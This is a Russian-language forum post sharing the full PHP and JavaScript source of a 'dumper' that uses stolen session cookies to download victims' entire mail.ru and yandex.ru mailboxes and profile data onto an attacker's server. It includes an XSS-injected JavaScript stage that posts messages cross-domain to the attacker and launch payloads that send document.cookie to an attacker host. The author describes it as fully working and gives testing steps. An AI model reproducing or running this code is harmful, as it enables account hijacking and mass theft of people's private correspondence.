| LeverOne |
24.07.2009 06:32 |
=== 30.10.2009
PHP код:
<?php
set_time_limit(600);
// если php < 5.2.0
if (!function_exists('json_decode'))
{
function json_decode($json)
{
// Author: walidator.info 2009 mod by LO (temp)
$comment = false;
$out = '$x=';
for ($i = 0; $i < strlen($json); $i++)
{
if (!$comment)
{
if ($json[$i] == '{') $out .= ' array(';
else if ($json[$i] == '}') $out .= ')';
else if ($json[$i] == '[') $out .= ' array(';
else if ($json[$i] == ']') $out .= ')';
else if ($json[$i] == ':') $out .= '=>';
else $out .= $json[$i];
}
else $out .= $json[$i];
if ($json[$i] == '"')
{
$n = 1;
while ($json[$i - $n] == '\\') $n++;
if (!($n & 1)) $comment = !$comment;
}
}
@eval($out . ' or null;');
return $x;
}
}
// определение целей, для которых запущен скрипт
if ($_REQUEST['action'] == 'sender')
js_sender();
else if($_REQUEST['action'] == 'save')
{
create_dir(rawurldecode($_REQUEST['email']));
write_message(rawurldecode($_REQUEST['message'])."\r\n\r\n", rawurldecode($_REQUEST['email']), 'registr_info.txt');
}
else select_mail();
// функция выбирает дампер в зависимости от кукисов
function select_mail()
{
$cookie = str_replace(';%20', '; ', $_SERVER['QUERY_STRING']);
if (strpos($cookie, 'Mpop') === false)
{
if (strpos($cookie, 'yandex') === false)
die();
else
yandex_ru_dump($cookie);
}
else
mail_ru_dump($cookie);
}
// главная функция дампа mail.ru
function mail_ru_dump($cookie)
{
preg_match('/:.+:(.+?):/', $cookie, $email);
create_dir($email[1]);
// чеккер: открытие и чтение файла с уже записанными идами писем; если его нет - создается.
$fcheck = fopen('./mailbox/'.$email[1].'/check.txt', 'ab') or die();
$exist = file_get_contents('./mailbox/'.$email[1].'/check.txt');
$folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
$folders = json_decode(utf8_encode($folders[0][0]), true);
if ($folders[1] == 'Redirect') js_mail_ru_dump(); // вот тут-то может обнаружиться, что куки привязаны к клиенту: тогда запускается js-дампер
foreach ($folders[2]['fList'] as $folder)
{
$filename = ($folder['ID'] == 0 ? 'inbox' : ($folder['ID'] == 950 ? 'doubtful' : ($folder['ID'] == 500000 ? 'outbox' : ($folder['ID'] == 500002 ? 'trash' : 'custom'))));
$fp = fopen('./mailbox/'.$email[1].'/'.$filename.'.html', 'ab') or die();
// все иды в папке одним запросом
$ids = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' .$folder['ID']. '%2C%22D%22%5D', $cookie, '/\[.*\]/');
$ids = json_decode(utf8_encode($ids[0][0]), true);
foreach ($ids[2]['mList'] as $id)
{
// чеккер
if (strpos($exist, $id) === false)
{
// $message[0][0] - строка JSON - из нее многое можно вытащить.
$message = requester('pro.mail.ru', '/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=%5B%22' .$id. '%22%5D', $cookie, '/\[.*\]/');
$message = json_decode(utf8_encode($message[0][0]), true);
// проверка на прочитанность
if ($message[2]['FlagUnread'])
requester('pro.mail.ru','/cgi-bin/ajax_markmsg?ajax_call=1&data=%5B%5B%7B%22msgId%22%3A%22' .$id. '%22%2C%22mark%22%3A1%7D%5D%5D&func_name=ajax_mark_msg', $cookie);
// запись сообщения
fwrite($fp, utf8_decode("<b>ID: </b>" .$id. "<br/>\r\n<b>From: </b>". $message[2]['From']. "<br/>\r\n<b>To: </b>" .$message[2]['To']. "</br>\r\n<b>Date: </b>" .$message[2]['DateStr']. "<br/>\r\n<b>Subject: </b>" .$message[2]['Subject']. "<br/>\r\n<b>Attachments: </b>" .count($message[2]['Attachments']). "<br/>\r\n" .$message[2]['Body_Text_HTML']. "</b></b><br/><br/>\r\n\r\n"));
fwrite($fcheck, "$id\r\n");
}
else break;
}
fclose($fp);
}
// проверка дампа приватной информации
if (strpos($exist, 'private') === false)
{
$userinfo = requester('win.mail.ru', '/cgi-bin/userinfo?mra=1', $cookie, '/class=registr>(.*)<input type="submit"/s');
$anketa1 = requester('win.mail.ru', '/cgi-bin/anketa?page=1', $cookie, '/class=registr>(.*)<input type="submit"/s');
$anketa2 = requester('win.mail.ru', '/cgi-bin/anketa?page=2', $cookie, '/class=registr>(.*)<input type="submit"/s');
write_message('<b>USERINFO</b><br/>'.$userinfo[1][0].'<br/><b>ANKETA</b><br/>'.$anketa1[1][0].$anketa2[1][0].'<br/><b>FOLDERS</b><br/>'.$folders, $email[1], 'private.html');
write_message("private\r\n", $email[1], 'check.txt');
}
fclose($fcheck);
}
тупо соединить
PHP код:
// JS-дампер mail.ru
function js_mail_ru_dump()
{
?>
dumper = 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>';
mask = '%e5%e3%e8%f1%f2' + '%f0%7cignup%7cegist%7c%e0%f0%ee%eb%7c' + '%ee%e4%f2%e2%e5%f0%7c%ee%e6%e0%eb%ee%e2%7c%ea' + '%f2%e8%e2%7c%ee%e4%ef%e8%f1';
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, context = window;
document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';
if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';
switch (location.hostname) {
case 'win.mail.ru':
case 'koi.mail.ru':
get_ids_html(1);
break;
case 'pro.mail.ru':
get_ids_ajax();
break;
default:
/* if xss on [sub].mail.ru */
try {document.domain = 'mail.ru'} catch(er){}
document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
}
/* html-interface */
function get_ids_html(page) {
requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all',
function() {
if (r.readyState == 4) {
ids_temp = r.responseText.match(/value="\d{20}/gi) || '';
for (n = 0; n < ids_temp.length; n++) ids.push(ids_temp[n].substring(7));
r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message(ids[ids_index]) : false);
}
}
);
}
/* ajax-interface */
function get_ids_ajax() {
requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
function() {
if (r.readyState == 4) {
ids = r.responseText.match(/\d{20}_msg/g) || '';
for (n = 0; n < ids.length; n++) ids[n] = ids[n].substring(0,20);
if (ids[ids_index = 0]) get_message(ids[ids_index]);
}
}
);
}
/* common */
function get_message(id) {
requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + id + '%22%5D',
function() {
if (r.readyState == 4) {
message = r.responseText;
if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + id + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);
message = encodeURIComponent(message);
/* HTML 5 */
if (window.postMessage)
document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
else /* HTML<5 */
document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
if (ids[++ids_index]) get_message(ids[ids_index]);
}
}
);
}
/* common */
function requester(url, func) {
try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
r.open('GET', url);
r.onreadystatechange = func;
r.send(null);
}
<?php
die();
}
// функция выводит слушатеть кроссдоменных сообщений, которые далее пересылаются на дампер обычным xmlhttp
function js_sender()
{
?>
<html>
<body>
<script>
if (window.addEventListener) {
window.addEventListener('message', listener, false);
} else {
window.attachEvent('onmessage', listener);
}
function listener(event) {
with (new XMLHttpRequest())
open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
send(event.data);
}
</script>
</body>
</html>
<?php
die();
}
// аналогично: главная функция дампа yandex.ru
function yandex_ru_dump($cookie)
{
$passport_and_email = requester('passport.yandex.ru', '/passport?mode=passport', $cookie, '/l-page-c">(.*b-redletter">(.*?)<.*passform3-l">)/si');
$index = requester('mail.yandex.ru', '/m/folders', $cookie);
create_dir($passport_and_email[2][0].'@yandex.ru');
$fcheck = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt', 'ab') or die();
$exist = file_get_contents('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt');
if (strpos($exist, 'private') === false)
{
write_message('<b>USERINFO</b><br/>'.$passport_and_email[1][0].'<b>FOLDERS</b><br/>'.$index, $passport_and_email[2][0].'@yandex.ru', 'private.html');
write_message("private\r\n", $passport_and_email[2][0].'@yandex.ru', 'check.txt');
}
preg_match_all('/folder=(.*?)"/', $index, $folders);
// если папок не будет найдено, то куки недействительны
if ($folders[1][0] == '') die();
for ($n = 0; $n < count($folders[1]); $n++)
{
$filename = ($n == 0 ? 'inbox' : ($n == 1 ? 'outbox' : ($n == 2 ? 'trash' : ($n == 3 ? 'spam' : ($n == 4 ? 'draft' : 'custom')))));
$fp = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/'.$filename.'.html', 'ab') or die();
$page = 0;
do {
$messagelist = requester('mail.yandex.ru', '/m/messages?current_folder=' .$folders[1][$n]. '&page_number='.++$page, $cookie);
preg_match_all('/ids=(.*?)">.*?<\/a><\/(.)/', $messagelist, $ids_and_mark);
if ($ids_and_mark[1][0] == '') break;
for ($m = 0; $m < count($ids_and_mark[1]); $m++)
{
if (strpos($exist, $ids_and_mark[1][$m]) === false)
{
$answer = requester('mail.yandex.ru', '/m/message?current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie, '/(<div class="c".*)<div class="op"/s');
$message = "\r\n<br/><b>ID: ".$ids_and_mark[1][$m]."</b><br/>\r\n".$answer[1][0];
// если условие выполняется, то письмо непрочитано.
if ($ids_and_mark[2][$m] == 'b')
requester('mail.yandex.ru', '/neo/ajax/action_message_operate?' + 'oper=mark_not_read¤t_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie);
fwrite($fp, $message);
fwrite($fcheck, $ids_and_mark[1][$m]."\r\n");
}
}
} while(preg_match('/btn-r/', $messagelist) > 0);
fclose($fp);
}
fclose($fcheck);
}
// универсальная функция запроса-ответа: помимо всего принимает необязательный параметр - регулярку для обработки ответа
function requester($host, $path, $cookie, $regexp = "")
{
$fp = fsockopen($host, 80) or die();
fputs ($fp, "GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n");
$answer='';
while (!feof($fp)) $answer .= fgets($fp, 4096);
fclose($fp);
if ($regexp != '') preg_match_all($regexp, $answer, $answer);
return $answer;
}
// универсальная функция записи
function write_message($message, $email, $filename)
{
$fp = fopen("./mailbox/$email/$filename", "ab") or die();
fwrite($fp, $message);
fclose($fp);
}
// универсальная функция создания директорий
function create_dir($email)
{
if (!is_dir("./mailbox")) mkdir("./mailbox", 0755) or die();
if (!is_dir("./mailbox/".$email)) mkdir("./mailbox/".$email, 0755) or die();
}
//\\ LeverOne //\\
?>
Это - дампер сообщений mail.ru и yandex.ru
Вот его особенности. - [+] Работает через мобильный (yandex.ru) и аякс (mail.ru) интерфейсы. Страницы этих интерфейсов в 10-95 раз легче, чем обычные. Для сравнения: исходник страницы сообщения обычного интерфейса win.mail.ru имеет размер прибл. 61 кБ, мобильного (для смартфонов - xhtml.wap.mail.ru) - 3 кБ, wap (wap.mail.ru) - 1,7 кБ, аякс (pro.mail.ru) - 0,63 кБ.
- [+] Собирает письма из ВСЕХ папок.
- [+] Сообщения сохраняются в файлы по именам папок, а не каждое само по себе, при этом только тот текст, который нам важен (без почтовых счетчиков, рекламы и прочей дребедени).
- При просмотре сообщений через браузер отключаем js, плагины, картинки, лучше - сеть.
- [+] Чеккер: уже скаченные сообщения не запрашиваются вновь.
- [+] Расширяемость: выделены универсальные функции, через которые могут работать дамперы для других сервисов, если они будут добавляться.
- [+] Добавлен JS-дампер для mail.ru, который спасет ситуацию, если вдруг пользователь включил дополнительную безопасность. JS-дампер собирает только регистрационную информацию, и, что очень важно, может работать с поддоменов (почти со всех). Из протестированных браузеров он не поддерживает только FF 2.x из-за баги этого браузера. Для более подробной информации обращайтесь к https://forum.antichat.ru/showthread.php?t=51622
Способ запуска:
1. Только PHP-функционал:
http://mysite.xz/dump.php?Mpop=blabla
(обратите внимание, что значение куки яндекса yandex_nickname должно быть url-кодированно, если содержит кириллические символы! некоторые снифферы полностью url-декодируют все куки, что может повлечь ошибку. правильное значение получается вызовом document.cookie либо повторным кодированием)
или
new Image().src='http://myhost.xz/dump.php?' + document.cookie;
2. Весь функционал (целесообразнее)
with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://myhost.xz/dump.php?' + document.cookie;
Для работы требуется сайт с поддержкой сокетов, выключенным сейфмодом и права на запись. На данный момент скрипт работоспособен в том виде, в котором он размещен, править после форума ничего не нужно.
=== 3.01.2010
Как проверить работоспособность php-части дампера на локальном хосте?
Для этого нужно использовать только такой способ запуска: http://localhost/xampp/test/dump.php?Mpop=blabla
Другие способы на локалхосте могут не работать из-за политик безопасности, принятых в некоторых браузерах (IE к ним не относится, там работают все способы).
Как проверить работоспособность javascript-части дампера на локальном хосте?
Найдите в дампере следующие строки:
PHP код:
$folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
$folders = json_decode(utf8_encode($folders[0][0]), true);
if ($folders[1] == 'Redirect') js_mail_ru_dump();
и замените их на:
PHP код:
/* $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
$folders = json_decode(utf8_encode($folders[0][0]), true);
if ($folders[1] == 'Redirect') */ js_mail_ru_dump();
Потом открываете IE --> авторизуетесь в почте --> в адресной строке в контексте первой же страницы, куда вас перебросило, пишете:
javascript:with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://localhost/xampp/test/dump.php?' + document.cookie;void(0);
Появился файл registr_info.txt в директории mailbox/yourmail@mail.ru ?
Если да, то открываете поддомен, например, otvet.mail.ru и пишете то же самое, предварительно удалив старый registr_info.txt. Если и теперь все сработало, то и с javascript-частью все в порядке.
На текущий момент скрипт полностью работоспособен.
|